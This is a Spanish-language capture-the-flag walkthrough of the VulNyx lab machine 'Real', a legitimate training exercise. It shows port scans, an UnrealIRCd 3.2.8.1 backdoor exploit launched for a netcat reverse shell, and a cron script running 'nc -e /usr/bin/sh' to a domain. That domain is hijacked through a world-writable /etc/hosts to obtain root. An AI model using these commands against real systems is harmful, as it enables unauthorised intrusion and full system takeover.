VulNyx - Real
- UnrealIRCd 3.2.8.1 Backdoor
- Hosts Permission Misconfigured
- Abuse Script Bash
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.38
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp open irc
6697/tcp open ircs-u
8067/tcp open infi-async
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,6667,6697,8067 192.168.1.38
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 db282bab632a0ed5ea188d2f6d8c452d (RSA)
| 256 cda1c32e20f0f3f6d39b278e9a2d2611 (ECDSA)
|_ 256 db9869a58bbd0586163d9c8b307ba36c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
Service Info: Host: irc.foonet.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Buscando un poco por internet sobre UnrealIRCd he encontrado este exploit, para que funcione correctamente hay que configurar esta parte.
Dejo un netcat a la escucha y lanzo el exploit.
❯ python3 exploit.py -payload netcat 192.168.1.38 6667
Obtengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.38] 54568
id
uid=1000(server) gid=1000(server) groups=1000(server)
Una vez dentro del sistema en el directorio /opt
encuentro el archivo task.
#!/bin/bash
domain='shelly.real.nyx'
function check(){
timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
if [ "$(echo $?)" == "0" ]; then
/usr/bin/nohup nc -e /usr/bin/sh $domain 65000
exit 0
else
exit 1
fi
}
check
El script verifica que el subdominio
shelly.real.nyx
es accesible mediante ping, si tiene éxito, abre una conexión utilizando netcat y ejecuta una shell en el subdominio especificado.
Con pspy64 puedo observar que hay una tarea cron que lanza task.
Hago una búsqueda de archivos con permisos de escritura y encuentro /etc/hosts
.
server@real:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run|irc|home|tmp'
/etc/hosts
Verifico que permisos tiene el archivo hosts y veo que puedo leer y escribir.
server@real:~$ ls -la /etc/hosts
-rw----rw- 1 root root 183 May 3 08:36 /etc/hosts
Añado esta línea de código al archivo hosts.
192.168.1.18 shelly.real.nyx
Pongo un netcat a la escucha por el puerto 65000 y espero a que se conecte la shell para conseguir el root.
❯ nc -lvnp 65000
listening on [any] 65000 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.38] 34164
id
uid=0(root) gid=0(root) groups=0(root)
Y con esto ya tenemos resuelta la máquina Real.
Saludos!